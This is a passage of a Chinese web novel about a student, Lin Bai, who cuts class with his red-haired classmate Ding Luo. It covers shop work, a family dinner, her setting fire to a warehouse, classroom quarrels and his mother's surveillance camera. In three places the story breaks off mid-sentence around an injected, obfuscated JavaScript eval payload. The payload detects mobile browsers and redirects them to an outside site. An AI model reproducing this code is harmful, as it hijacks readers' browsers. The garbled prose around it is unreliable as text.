狗洞!好家伙!人模狗样的!居然是钻狗洞过去的!看我不叨叨死你!
老头一声巨响的咳嗽,响彻空旷的园区。这嗓门了得,要是被逮到了不亚于学校喇叭里喊一遍违规了。
林白来不及多想,拨开草丛蹑手蹑脚从洞口中钻了过去。
丁洛的三轮车刚刚起步,林白连滚带爬地追上去,长臂猿似得扒到座位上。
“你什么毛病,跟上来干嘛?”
“你……”
林白一肚子委屈在翻滚,浑身上下酸的酸,痛的痛,憋了半天硬是找不到一个字可以痛诉眼前的人。
“哼!”
红了眼眶,只把头一甩,气势不能输!
丁洛看着这人满脸通红的模样,不知道他在别扭个什么劲,脑中只有四个字:
莫名其妙。
将油门转到底,正翘着二郎腿的林白一个趔趄猛得向前俯冲,下意识的反应将所有的委屈释放,林白孩子般的喊道:
“你干嘛啦!”
只是听起来像是在撒娇。
丁洛十分无语的转过头来问道:“我干嘛了?”
莫名其妙,哭个什么劲?
电三轮一路轰鸣,丁洛满头的红发在风中张扬,最初的印象在记忆中占据绝对地位,林白痴痴地看着身旁的人,脑里翻涌着一个感慨。
“原来这就是翘课的滋味,真爽!”
行至一条细窄的小巷,车子开不进去,丁洛熟练的靠墙脚停好,径直往小巷走去。
林白跟了上去,学着电影里小弟的模样,四下警惕地观望,以防角落里突然窜出一伙人,那就…刺激了!
正想得起劲,眼前突然一黑,一个纸盒从正中脑门,从眼前飞了过来。
林白慌乱的腾出手接住。
“把货搬到车上。”
丁洛冷冷命令道。
还以为是什么街头老大呢,合着上赶着给人做苦力呢,林白嘟嘟囔囔一路,终于还是将一箱货品稳稳放到车上。
“凭什么你让我搬货就搬货?”
话未说完,又一箱货品被扔了过来。
丁洛已经整整齐齐理好了一排货品,这效率,做小工也是老大。
“弱弱唧唧的,货都理不好吗?”
“我又不稀罕理货。”
林白只敢小声嘀咕。
“喂,上个月的货款什么时候结啊!”
这声音,这动静,难道说?
林白冲上去直接拎住那人领子吼道:“什么货款!你管我丁姐什么时候交呢!”
等看清那人的体格时已经晚了。
硕大的胳膊轻轻发力便膨胀成几个坚硬的大块头,林白默默松开自己纤瘦的爪子,坚硬的大块头朝着胸口轻轻一推,林白踉跄了几步,逃到丁洛身边。
“弱弱唧唧的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340961|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谁啊?”
“不认识。”
无情!
大块头撇了一眼林白,将身后一摞比人高的箱子搬到林白面前。
“喂,去给你丁姐搬货。”
“什么丁姐?她又不认识我。”
林白小声嘀咕,一个箱子已经飞了过来。
“哪那么多废话。”
搬到第7个箱子时,已经感受胳膊的肌肉都在跳动,而跳动得最猛烈的是太阳穴,丁洛这个无情怪居然没有一丝帮帮自己的意思,只与大块头靠在墙角闲聊。
明明自己才是最瘦弱的,不是,明明自己才更适合监工这个角色。
“几个箱子要搬一天。”
大块头将身后几个箱子用力一扔,稳稳当当落在了电三轮上,拿出捆带将所有货绑好,回头朝丁洛喊道:“行了,回去催催栀子,货款不能再拖了。”
显着你了!明明干活最多的是我!林白不服气的抢先坐上电三轮。
一路上肌肉发软得厉害,林白耷拉着两条胳膊,咸鱼一般仰头靠在坐背上,任由车子颠簸,一副已死勿扰的模样。
丁洛路过减速带时故意加速,车身震动,林白依旧死鱼一般瘫坐在椅子上,被颠得上下翻滚,屁股都不带挪一下,晃荡着两条细胳膊无声抗议。
车子一路轰鸣,突然安静下来,世界都变得不太真实,缓缓看向右侧,蔚蓝的海迎面撞击,心头一震。世界的声响在轰鸣消退后,又在海浪的温柔压迫下一点点逼近,那股莫名的震撼冲击着心灵,一束红色的小小火焰在蓝色的世界里跳跃。
火焰由远及近,蓝色的世界在一点点消退,眼前被这束张扬的红占据,林白傻傻的看着,疑惑为什么火焰是冰的?
“喂,汽水喝不喝?”
丁洛见这小子瘫了一路,估计是真累着了,有些于心不忍,拿着冰可乐在他眼前晃悠,可这人却如傻子一般痴痴的发呆。
一张不大的脸,一双圆圆的桃花眼占了一半篇幅,眼角微微向下,不显呆滞,只添温和,脸颊鼓鼓的,一副乖小孩的模样。
乖小孩?那不就得逗逗,忍不住将冰可乐贴在那张水灵的小脸上,果然发愣的双眼回了神,即刻张牙舞爪起来,恢复了生气。
“干什么!”
“看你辛苦,赏瓶汽水。”
丁洛扔下汽水,转身往海边的小屋走去,林白气呼呼地跟上。
“什么叫赏?哼!你这是压榨!是欺压!是奴役!”
“也没人逼你来啊?”
丁洛头也没回,轻飘飘的丢下一句,后面的炮仗没了声。
林白仰头咕噜噜将一瓶汽水一口气喝完,夏日炎热,玻璃瓶滑落的水珠,少年纤细的手腕,扬起的脸颊,逆着光勾勒出青春的剪影。
那人欢快地蹦哒过来,校服的衣摆在晚风中翻动,晚霞最明亮的一束余晖在那双笑成月牙般的眼睛里,在离自己一步远的地方及时停下,尚未平稳的呼吸,衣摆随之浅浅浮动,突然世界静止了下来,少年屏住了呼吸,湿漉漉的眼睛看着自己,夕阳好似晚落了一分,少年越走越近……
“嗝~”
眼前是一个小卖铺,背靠着海,这里虽是几个小区必经的岔路口,但离最近的小区都还有个几百米。这路段说不上好,毕竟聪明人会将店开在小区门口,而且小卖铺门口还有个十几层的楼梯,大夏天的谁想爬这玩意。
林白心中嘀咕,却没说什么,打完了饱嗝儿,赶紧往上跑,不曾想后脑勺遭到袭击。
“打嗝也不行啊!”
5. 叫哥哥
林白摸了摸后脑勺转身,开阔的灰色地面沿着蓝色的水平线延续至远方,风从海面跃来,鼓动着周遭的空气,红色的长发被松松垮垮的绑起来,些许细软的发丝正迎风张扬,就像眼前的女孩一样。
丁洛挑起眉毛,指了指身后满车的货。
狗腿子之魂莫名其妙苏醒,林白不明白为什么想也没想哼哧哼哧跑下去。
诶?为什么!
“这些都要整理吗?”
“不然呢?”
“怎么整理啊?”
林白的假期大多被何晓丽关禁闭,同学们常说的逛超市活动,他很少有机会参与,对这些确实一窍不通。
“食品类按日期上货架,日期近的放前面,文具、日用品类按种类上架就行。”
就行?
林白看着这十几个大箱子,手臂的酸感瞬间加剧。
“细胳膊细腿的,边上喝你的汽水去。”
丁洛搬起一个箱子,随口说了一句。
她没注意到身后的人脸色由白转红,只看到一道身影嗖一下窜到了楼梯顶部,放下货物后又岔着腿□□似得跑到车前搬起另一个箱子,来来回回几分钟搞定了所有货物。
“剪刀呢?开箱!”
林白双手叉腰喘着粗气朝丁洛嚷嚷,一串钥匙直冲面门飞来,紧急闭麦。
小卖铺的货物多而杂,林白倒是很有耐心,各式日常的小物件,在他手里好似限量版的珍玩,一件件比对着放到货架上。看到有的货物上积了灰尘,也会顺手擦去,虽然动作慢了些,但活细致。
余晖将海面打碎,波光粼粼,穿过小卖铺的玻璃门,穿梭于少年纤细雪白的指尖,林白一件件拿出货物,安静而专注,像是在实验室做测试。
丁洛盯着他许久,脑中一个想法挥之不去。
和课上玩弄绳子一个死样,总感觉憋着坏。
林白没感受身旁狐疑的目光,只在心中默默感慨,原来文具有这么多种类!
从小学戒断铅笔后,这么多年林白只买过一种黑色中性笔与涂卡笔,一次网购50支还能多送10支笔芯,差不多够用一年。
今天算是开了眼了,原来除了中性笔还有速干笔、刷题笔、荧光笔、按动笔,有0.5的,有0.3的,有孔庙祈福、锦鲤好运、胜券在握……
林白一一比对,确保每一支笔都放在错误的位置且不明显,比如0.5的笔芯里插一支0.3的,勃艮第红荧光笔里混几只石蕊粉色。
干坏事时专注力的平常的100倍,林白把玩着手里一堆乱七八糟的小玩意,揣摹着怎么混放才不会被轻易发现,腿上却渐渐传来痛感。
毛茸茸硬邦邦的奇怪触感,低头朝下看,一只大黄狗睁着圆碌碌的大眼睛正傻笑,尾巴啪啪啪打在林白小腿上。
嘶,好痛!
林白抬腿躲开,大黄倒更兴奋地追上去,尾巴摇得幅度更大,啪就是结结实实的一下。
“狗兄弟,求放过!”
躲闪间撞到了一人身上,林白转身赶紧道歉。
一双大而不聚光的眼睛直愣愣地盯着林白,笑容很是夸张,嘴角快要咧到耳根,嘴里似乎全是牙齿,像是中世纪森林里的魔鬼,下一秒就能啃掉人半个身子。
林白打了个寒颤,往后推了几步。
“嘿嘿。”
那人僵硬地伸直双手,嘴角咧开的幅度更加夸张,直挺挺的朝林白跑去。
“别过来啊!”
慌乱间抓到一个结实的手臂,林白想也没想躲到了丁洛身后。
喜获白眼一个。
“大壮回来了啊,饿不饿?一起吃饭吧。”
林白瞪大了双眼看着丁洛,难以置信刚刚那甜美温柔的声音是这位正掐住自己胳膊的人发出的。
大壮乐呵乐呵地抓住林白另一只胳膊,口齿不清地喊着:“叔…叔叔。”
“乖,叫哥哥。”
“叔…叔叔”
林白也没把大壮当不正常的孩子看,执着于纠正这个称呼。
“大黄是哥哥,叔叔比大黄大。”
哦,这么个算法,那倒也合理。
“那你管丁洛叫什么?”
“姐姐。”
噗。
林白偷瞄了一眼丁洛,心中暗爽。
掀开布帘,一方小小的庭院出现在眼前,一人高的三层木架上摆满了各式多肉。只是用简易的矿泉水瓶栽种,枝叶却片片饱满厚实,翠绿粉嫩一片生机盎然,一看就知道有人花了心思照顾。
木质的推拉门全被推至两旁,露出一间不大的客厅,墙面四角都堆满了各式货物,剩下的空间只够放置一张方形小桌子和几把凳子,再容不下更多的家具。
桌子中间是一个灰色的菜罩,应该是留给丁洛的晚饭了,林白的目光却全被桌角的一朵小花攫住,路边常见紫粉色小花,底下压着一张字条。
远远看见纸条上歪歪扭扭地写着:“亲爱的女儿、大壮、大黄,吃得开心。”
菜罩下是怎样的饭菜已不再重要,林白感觉内心被击中填满,悄悄躲在几人身后抹了把泛红的眼角。
大壮蹦蹦跳跳地跑到隔壁的厨房为几人盛饭,拿起饭勺又犹豫起来,朝着院里的人数起数来。
“一、二、三…三个人三碗饭。”
丁洛从前面的店里出来,手里拿着几袋方便面,打趣道:“还有大黄呢?”
“四个人,不对,三个人一条狗,四碗饭。”
“想吃什么口味?饭可能不够。”
林白指了指新出的香菜口味,“新出的口味,正好想吃。”
丁洛一副就知道如此的模样。
“不是你让我挑的吗?又白我一眼!”
“给你单独下一碗,这里没人爱吃香菜。”
“品味这一块你们还得再培养培养,香菜多好吃啊,香香脆脆,满□□汁,咬下瞬间就到了田野,到了草原,那是自由的味道啊……”
林白说得太投入,来不及拦住丁洛,眼睁睁地看着她将香菜包倒进了大黄的碗里。
“你…干得漂亮!”
丁洛应该是个泡面老手,这边面刚过水焖上,那边已经起火煎蛋,第三颗鸡蛋刚刚滑溜进锅里,又拿出火腿肠改花刀,一同放进锅里煎至表皮焦脆。起锅关火,两大碗面刚好焖熟,一碗汤面,一碗干拌,大壮很有眼力见的跑上去帮忙端菜。
“坐吧,愣着干嘛?”
林白有点不好意思,毕竟吃人家的嘴短,又什么活都没帮上,等会一定要多夸夸,情绪价值给够才行。
红烧带鱼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340962|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,清炒西兰花,青皮茄子,丝瓜蛏子汤,满目清爽的家常菜,林白夹起一块带鱼一口咬下。
入口的瞬间好像各种味道在口腔内打了一架……首先是蒜,完全不甘于调味品的存在,猛烈刺激的生蒜味直冲脑门,林白没来得及掩饰表情呛出了个白眼,还好很快用咳嗽掩饰。
仔细品品,这鱼可能只爆炒了几分钟,表皮焦脆,内里的鱼肉却还是夹生的,蒜味渐渐淡去时,留在口腔内的是生鱼的腥味,悠远绵长。
林白强装镇定,非常沉稳地舀了半碗汤。丝瓜蛏子汤,咸鲜清爽,最适合夏季,林白面带浅浅笑意猛灌了一口。
为什么!?
是甜的!!!
丝瓜本身带有丝丝甜味,再加重糖后整个汤水像是加了海鲜的甜水,诡异诡异!林白拿勺子的手微微颤抖,两眼一闭仰头将剩下汤水灌了。
吊扇在头顶呼呼的送风,这顿饭刚吃两口,林白已经大汗淋漓,丁洛面不改色的又夹了一块带鱼,大壮更是吧唧嘴吃得欢畅。
林白啊林白,人家好心留你吃饭,你还挑剔上了,真小人不要脸!
林白在心中将自己痛骂一顿,一番心理建设后再举筷还是犹豫,缓缓夹起一块西兰花,青菜过过水清炒一下总不会出错。
想是这么想,但放进嘴里的动作是慢之又慢。
轻咬一口,好像没有什么奇怪的味道?将整颗西兰花塞进嘴里,咸味瞬间爆发,林白齁得喉头一紧,想咳又不敢咳,只得用力生吞了。
最后一道青皮茄子,表皮油亮,几颗红绿辣椒稍稍点缀,一切都是正常的模样,林白鼓足勇气夹起一块。
刚入口,一行清泪从眼角滑出。
“叔叔,你怎么哭了?”
林白不敢咀嚼,只一口生吞了这团包裹着泡椒汁的茄子,带着哭腔说道:“叫哥哥。”
菜罩下是怎样的饭菜很重要!
丁洛的这两碗泡面成了救赎,汤浓汁厚,面条煮得时间刚刚好,保留着些许的劲道,林白吸溜一口,半碗面暖暖下肚。口腔腾出空间,轻咬一口煎蛋,外表的一圈蛋白厚实爽滑没有一丝焦皮,流心蛋黄则在嘴里爆汁,裹挟咸香的泡面汤,这一口灵魂升天。
“叔叔,你怎么又哭了?”
林白竖起大拇指对着丁洛狂赞,美食治愈一切,过往的恩怨都随这口面下肚,不计较了!
天边只剩下一丝余光,此刻天空是透着亮的深蓝色,晚风拨弄着挂在房檐上的风铃,大壮和大黄在院里追赶。
林白静静地看着这一切,此刻的他除了表情平静,身上每一处的酸痛都在加重,稍动一下就会牵扯出巨大的痛感。
为了缓解痛感,林白僵硬地撅起屁股,缓缓直起上身,姿势丑了点,从丁洛的表情就能看出。
管不了这么多了,林白扶着腰拖着两条腿挪动到厨房,台面上的不锈钢小盆里留着一半纯白色的淘米水,边上留着一张和餐桌上一样的纸条和歪歪扭扭的字迹:洗碗用!
林白虽疑惑但照做,用淘米水洗净污渍,再用清水冲洗几遍,将碗筷放在沥水架上码放整齐,转身又将台面擦了几遍,弯腰贴着台面检查没发现一丝水渍,这才安心将抹布洗干净放好。
丁洛看着林白一声不吭地洗碗。
不会下毒吧?
6. 拽什么
“晚自习快上课了,你该走了。”
刚干完活就下逐客令?
林白不服气地看向丁洛,“你呢?你不去上课?”
“我还有事,要晚点。”
丁洛领着大壮和大黄进了房间,将房门锁起来,转身看见林白还杵在厨房门口。
“还不走?学霸开学第一天就想被记过?”
记不记过倒是无所谓,要是被请家长那就麻烦了。
林白被戳中痛处,又没什么理由问人家打算去干嘛,只能先走。
“谢谢你的晚饭。”
“嗯,记得报答。”
时间还早,林白没按导航指出的夜间宽敞大道回学校,挑了条沿海的小道缓缓挪动。
“喂,踩蚂蚁呢?”
李佑骑着单车冲到过了路口,见是林白,忍不住回头嘲笑一句。
□□的一员,林白警惕地从兜里掏出细绳。
“别乱动啊,我懒得跟你打,话说回来你怎么走这条路?”
视野穿过李佑,在路对面的大道上,丁洛正快步穿过。
“喂,跟你说话呢,看哪呢?”
“哦,你怎么走这条路?”
“车少,骑车爽。”
林白知道要是催李佑赶紧走,只怕这货会全程盯着他回教室,但是要是反着来……
“哦,借你车给我骑骑。”
“想屁。”
眨眼的功夫,这货已经蹬出二里地了
真乖。
雷雨将至,空气沉闷,林白跟在丁洛身后沿着阶梯兜兜转转绕了几个街口,一直走到郊区近海处,浓重的黑在眼前铺开,海水在就不远处翻腾,原始神秘的恐惧。
丁洛熟练的翻过一面围墙,钻入了乱糟糟的工地。
货物杂乱的堆砌成堆,墙角处有一个由彩钢板搭建的矮小工棚,门口有几盆花零散的放着,全都枯败了,像是被高温炙烤后的模样,只一小朵白色的花还在一片枯黄中盛放,黑夜中甚是显眼,丁洛将倒地的花摆正,抱起那盆白色的花往屋后走去。
林白悄声跟上,乌云在头顶上空翻滚,浓厚的黑笼罩世界,只能借着偶尔泄露的微弱天光找到丁洛的身影。
只见她将屋角的一沓废纸搬动出来,手里握着一瓶液体。废纸被塞进仓库货物的间隙里,丁洛将液体淋到纸张上。
周遭的动静好似停止了,风声蝉鸣以及不远处的海浪声全都消失了。丁洛的动静像是在耳边无限放大,液体浸透纸张,火焰从纸张上跃出,迅速在仓库中蔓延。
一道闪电终于劈开云层,滚滚的雷声从天边炸开,昏暗的仓库在一瞬间被照亮,林白站在原地忘记了呼吸,看着丁洛背影,那一抹鲜红的发色在烈火中跳跃。
狂风骤起,街角的树发出嘶吼,林白仓皇跑向街道,消防车的警鸣声响彻街道。
“同学,罗本巷附近有火情,你知道怎么走更近吗?”
豆大的汗水沿鬓角滑落,林白听见自己的心在狂跳,或许是因为她会细心照顾大壮,或许是因为那朵充满热爱的小花,短短一瞬,很多画面在林白脑中闪过。
“走那边。”
林白看着消防车走向那条绕远路的大道,转身狂奔至学校。
教室里灯光明亮,人声鼎沸,与海边黑暗静寂的工厂仿若两个世界。林白望向窗外,不知是否该庆幸大雨还未落下。
课桌被人往后猛推了一下,铁质的边缘撞到肚子上,又冰又痛。林白本就浑身酸痛加上心情莫名其妙郁闷,一时情绪上头,用书猛敲了下前面正装模作样挪椅子的吴卓。
吴卓估计没料到这动静,有点懵得摸了摸头,等反应过来很快转身将林白桌上的书本文具全扬了,梗着脖子吼道:
“呦!小白脸出息了,敢回手了!不躲在女孩身后了啊?”
开学报道时,吴卓在办公室听到何晓丽与老郑的对话,意思是林白是个尖子生考差了,希望班主任能帮忙照顾,不要让林白和这些红毛、黄毛、杂毛这些没希望的废物玩到一起。
没希望的废物。
每年过年父母在外打工回来,必然会为吴卓的成绩吵架,骂得最多就是这么一句:
没希望的废物。
林白将课桌摆正,冷冷说道:“捡起来。”
“怎么着?给爷爷磕一个,考虑给你捡一本。”
“都在吵什么!上课铃没听见吗?你们两个都给我出来!”
马海宁,八中的镇海神针,雷霆手段全市闻名。
吴卓虽然手插兜里晃晃悠悠出去了,到底是一点没敢耽搁。
“把手拿出来!”
乖乖放下。
“刚刚开学吵什么?彼此间认识了吗就打架?互相说说对方的名字。”
吴卓将头扭到一边,捏着嗓子不情不情愿地说道:“林白。”
“吴卓。”
“那谁拽个什么劲,剃个寸头把几根毛染黄就了不起了?出了学校就一废物!”
吴卓瞬间浑身通红,咬紧牙关青筋暴起。
“马主任,麻烦您注意下措辞。”
吴卓抬头看向林白,布满血丝的眼眶里闪过一丝不确定,林白笔挺的站着,直视马海宁笑着说道:
“他叫吴卓,无论是现在还是日后毕业离校,都是您的学生。”
马主任厚重的镜片下,下眼皮重重地抽搐了几下,开口前先上下打量了几次林白,清秀坦荡,乖乖巧巧贴墙站着,不扭捏不装酷,一股傲气却藏不住。
“林白?第一名考进来的,这就尾巴摇上天了?这里不是二中,和这些人混得再近一点,三年后普本收场,你妈妈还受得住吗?”
林白的笑意从眼底抽去,嘴角却更大幅度上扬:“谢谢老师关心,我会为自己三年后的成绩负责,至于和哪些人交往,我认为看人要看品格,相信无论在二中还是八中,都有一群值得交往的同学。”
林白突然转过头看了一眼吴卓,黑皮糙汉不动声色地往后挪了一步,悄悄红了耳根。
马主任推了推眼镜,满是嘲讽的笑了笑,伸出一根手指朝两人晃了晃:“每人1000字检讨。”
林白点了点头,转身回到教室,准备捡起地上的课本时,一双手先伸了过来。
吴卓将地上的课本文具悉数捡起,码好放到林白课桌上。
林白看了眼窗外,乌云似乎快要坠到屋顶,也不知海边是否已经下雨了。
“喂?”
吴卓在前面扭来扭去调整了几次座椅,又探出个寸头小声喊道。
“又干嘛?”
“之前对你有点误会,那个,给你道个歉。”
“嗯。”
“不是,你拽什么啊?”
“我拽了吗?”
“算了,过往一笔勾销?”
“嗯。”
“多说一个字会死啊?”
“准了。”
“草。”
“还有事?”
“检讨借我抄下。”
“不借。”
“你就拽吧。”
暴雨前的气压太低,林白觉得心里闷得慌,随意写些车轱辘话应付了事,突然看到门口有个人影闯了进来。
丁洛将帽子摘下,扔了书包坐到座位上。
吴卓那颗寸头又不安分的扭过来,“洛姐,来得真早啊,还有10分钟放学了。”
林白将检讨递了过去,“拿去抄,别回头。”
“哦。”
林白用余光瞥了几次丁洛,衣服有被烟熏过的痕迹,好在身上没伤。
老郑拿着一叠试卷喜气洋洋地跑进教室。
“同学们!”
教室一片喧嚣,除了吴卓在安安静静抄检讨,丁洛在看小说,其它各个角落都传递出不同的声音。
“听说了吗,G家那群小偷又偷哥哥的番位了!”
“这帮人是老鼠投胎吗!整天就知道偷番位!”
“可不是吗!你看!凭什么海报上他家名字放前面。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340963|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
靠!这不明抢吗!不行,上广场屠城!”
“上!我切小号!”
老郑声线柔和,几次尝试提高音量也盖不过下面乱哄哄的吵闹声。
“那个同学们,安静一下,我有事要宣布。”
“草,哥们你行不行啊,开局就丢红,菜就玩辅助行吗?”
“这么急干嘛?你屁股起火啊?“
“行,等您翻盘。”
老郑岔开双腿,气沉丹田,用力大声喊出:“同学们!这次开学摸底考你们的成绩非常优异!及格率创历史新高!”
老郑用心良苦,将开学考难度降到最低,想给这帮孩子一点信心,可惜无人在意。
“尤其是出现了两个满分选手!”
教室终于安静了一瞬,满分选手还是有点兴趣听听看的。
老郑对突然的安静有点猝不及防,红着脸傻傻地看着台下,半天才反应过来,舞动着手里的试卷开心的喊道:
“林白全科满分!”
切。
大家该忙活忙活,从开学到现在没少强调这小白脸第一名,有点腻了,八中对学习这种事情热情度实在有限。
只前面的高汉回过头来,痴汉一般看着林白。
“林哥,你成绩真好,以后多带带我啊。”
吴卓转身搂住高汉,“他就坐你后面,想抄什么还不简单?”
“我是真想提高成绩,高考去好学校。”
“那你就纯属做梦了,想想等会吃什么比较实际。”
老郑扬起试卷兴奋的喊道:“我们班还有一位满分选手!丁洛,语文作文满分!”
哦豁!
人群的兴奋声将屋顶掀翻,还是这种差生逆袭的剧情好玩,大家拍着桌子大喊:“丁洛!牛逼!”
丁洛从老郑手里接过试卷,塞进了书包。
“别这么小气啊洛姐,让我们也见识见识满分作文什么样啊?”
“看林白的。”
林白乖乖将试卷递出去,“能交换看嘛?”
“滚。”
消息喧闹一阵也就过去了,这种学习话题凑个乐也就完事了,没人真的在乎。
老郑在班上转了几圈,将林白喊了出去。
“林白啊,最近你就代理班长吧,帮老师管理好班级纪律。”
“老师,您为什么相信我呢?”
老郑满眼心疼的看了一眼林白,这孩子聪明,基础又好,一次考试失误怕是伤了自尊也伤了信心。
老郑双手用力拍在林白肩上,眼里含泪动情的说道:“老师永远相信你。”
林白痛得一个激灵,今天出门没算日子,肌肉生死局,这一掌雪上加霜,痛麻酸一齐轰炸,抿嘴忍住不叫出来。
老郑看着更心疼了,用力捏了捏他两侧肩膀,语重心长地说道:“林白啊,别难过,人生一点点小难关不算什么,男子汉要勇敢站起来,回教室吧,抓紧时间学。”
林白完全说不出话来,忍着泪点点头回到了座位上。
高汉转身乐呵呵说道:“林哥,你的试卷借我看看呗。”
林白胳膊正使不上劲,浑身酸痛脸色不好看,用力抬起来将试卷递过去,手一软还是掉了。
隔壁组的李佑红着脖子公鸡似得吼道:“你拽什么?人舔着脸向你请教,你丫有素质吗?”
吴卓刚抄完检讨,听着动静即刻起身拦在两人中间,动作幅度太大,冰冷的铁质边缘又一次狠狠撞到林白腹部。
“好了好了,多大点事,都是兄弟,消消气。”
林白彻底没了脾气,龇牙苦笑出来,伸手握住吴卓强制拽过来的手。
“兄弟!”
吴卓见状开心的将两人一把搂过,掐掐两个胳膊,“哎,这就对嘛,都是兄弟吵什么吵,呦,看不出来哥们肌肉挺硬啊。”
林白闭眼。
两人见他这番死样,猛拍了下他两侧肩膀。
“拽什么啊,切。”
暴雨终于倾盆而下。
7. 监控
雨水沿着石板路急匆匆往下冲,黄色的灯光打碎在流水中,林白用伞建造起一座座黑色的孤岛,想象着踏着这些岛屿,走向灯光消失的远方。
几声微弱的猫叫打断了思路,巷道的缝隙处有一簇草丛,林白轻轻拨开,几只小猫挤在里面躲雨。奶牛猫挡在最前面,才手指粗的前肢高高抬起拍向地面,还没长牙的嘴用力张大朝着林白哈气。
“小东西,脾气倒不小。”
沿街找到一个快递盒,又找来一些泡沫薄膜,林白蹲在路边将盒子四周包裹严实,最后放置到小巷尽头一处隐蔽的屋檐下。
今晚这几个小家伙应该可以在此处避风躲雨,可是之后怎么照顾这几只小奶猫呢?自己的时间被刘晓丽卡得很紧,很难抽空喂猫,林白犯了难。
起身往回走,看到一个男孩正蹲在草丛旁,准备将小猫抓进猫包,奶牛猫弓起身体将兄弟姐妹们死死护在身后。
林白将男孩上上下下打量了一番,一身卡通居家服,脚上的薄棉拖鞋已经湿了大半,一看就是从家里匆匆忙忙偷跑出来的,手里的猫包看起来虽新,但边缘处有几缕线散落着,有啃咬的痕迹。
“你养过猫吗?”
男孩正投入地与奶牛猫做斗争,没注意到身后的动静,听到声音后吓了一跳,抬头看见林白正满脸警惕地看着自己,那神情和奶牛猫一模一样。
“养过,这个就是花花的包。”
“哦,那花花被你养得怎么样?你是个好主人吗?”
男孩低下了头不敢看林白,一只手反复抚摸着猫包被啃咬的地方,“被妈妈送走了,她说养小动物会分散我的注意力。”
林白蹲下来为几只小奶猫撑伞,沉默地看着男孩许久。
“所以你想把他们带回去,养个几天,再扔到野外来?”
“不是的!这次我会和妈妈好好说,他们还这么小,需要被照顾!”
男孩激动的看着林白,对面依旧一副冰冷的样子。
“你觉得这是个好办法吗?”
“我不知道。”
“短暂的救助之后再抛弃,比不救助更残忍。”
男孩低下了头,声音有些哽咽,“那我该怎么办?”
“交给你一个任务。”
孩子始终是孩子,情绪起伏转化很快,刚刚还是一副悲痛欲绝的模样,被触发了关键词后,一脸兴奋地问道:“什么任务?”
“每日给小猫喂水喂饭,让他们在野外自由长大。”
林白满脸的正义,丝毫没有利用小孩的愧疚,严肃补充道:“我会不定期检查。”
“收到,我一定完成任务!”
林白脱下校服将几只小奶猫全都裹了进去,奶牛猫不安分地挣扎,“小战士,想要保护好兄弟姐妹,就快快长大,变强壮长本事,到那时就能拥有一番自由的天地,任你们撒欢打滚了。”
或许是紧张了太久耗尽了精力,几只小奶猫自觉得钻进纸盒里,蜷缩在一起很快睡着了。
“你也回去吧,拖鞋湿了不冻脚吗?”
“谢谢你,冷脸的大哥哥,我叫孔子曰,你呢?”
孔子曰???
冷脸的大哥哥表情差点失控,嘴角轻微地抽搐了下,“我叫林白。”
“林白哥哥再见。”
孔子曰急着赶回家,说完拔腿就跑,倒让冷脸的大哥哥陷入了自我怀疑。
“我是不是有点太凶了?”
水泥浇筑的楼梯上切割了一道道细小的纹路,湿鞋走上去,水汇聚在细纹中被缓缓吸收。林白站在门口许久,脚底的水渍向四周蔓延成一个深深的鞋印。
钥匙转了几圈,门咔哒一声开了,里面是黑漆漆的一片,何晓丽的拖鞋规规整整的放在门口,林白松了一口气。
摸黑走到房间,坐到书桌前,林白没有开灯,敏锐地发现角落里一丝红光在闪烁。黑色的屏幕像一个恶灵,以灵魂为食,红光是引路的小鬼,勾引出愤怒、恐惧最后是理智,林白死死盯着监控屏幕。
手机来电点亮了房间。
“林白,你到家了?”
“嗯。”
“怎么这么晚?7:15放学,15分钟车程,你迟到了34分钟,在路上磨蹭什么?你忘了开学的承诺吗?”
刘晓丽像是一台从不停歇的时钟,用时间的牢笼困住林白。
“雨太大,路上摔了一跤。”
滴滴答答的时钟声终于中断了片刻,“不要总是找理由,这是逃避的表现,柜子里有碘伏,涂好后,赶紧学习。”
“好,再见。”
“等等,”刘晓丽轻叹了一声,“监控怎么突然坏了?”
林白攥紧了拳头,滴滴答答的时钟声从心里响起,“为什么装监控?”
“我这学期晚班比较多,不放心你一个人在家,你又不够自觉……”
远处闪电还在云层中驰骋,屋内忽明忽暗,房间里散落着凌乱的电线,林白沉默了半响终于开口,“被雷劈坏了吧,可能是上天的意思。”
何晓丽哽咽起来,“不要再做让妈妈失望的事情了!今晚至少4章单元卷,晚上回来我要检查……”
雨从云层落下,砸在窗台上,啪唧一声碎成几块,林白将手里的电线一点一点剪成碎段。
教室里人声鼎沸,第一节课是语文课,丁洛难得在这个时间点出现在学校里,语文课总是排在第一二节课,开学以来,这还是第一次与语文老师照面。
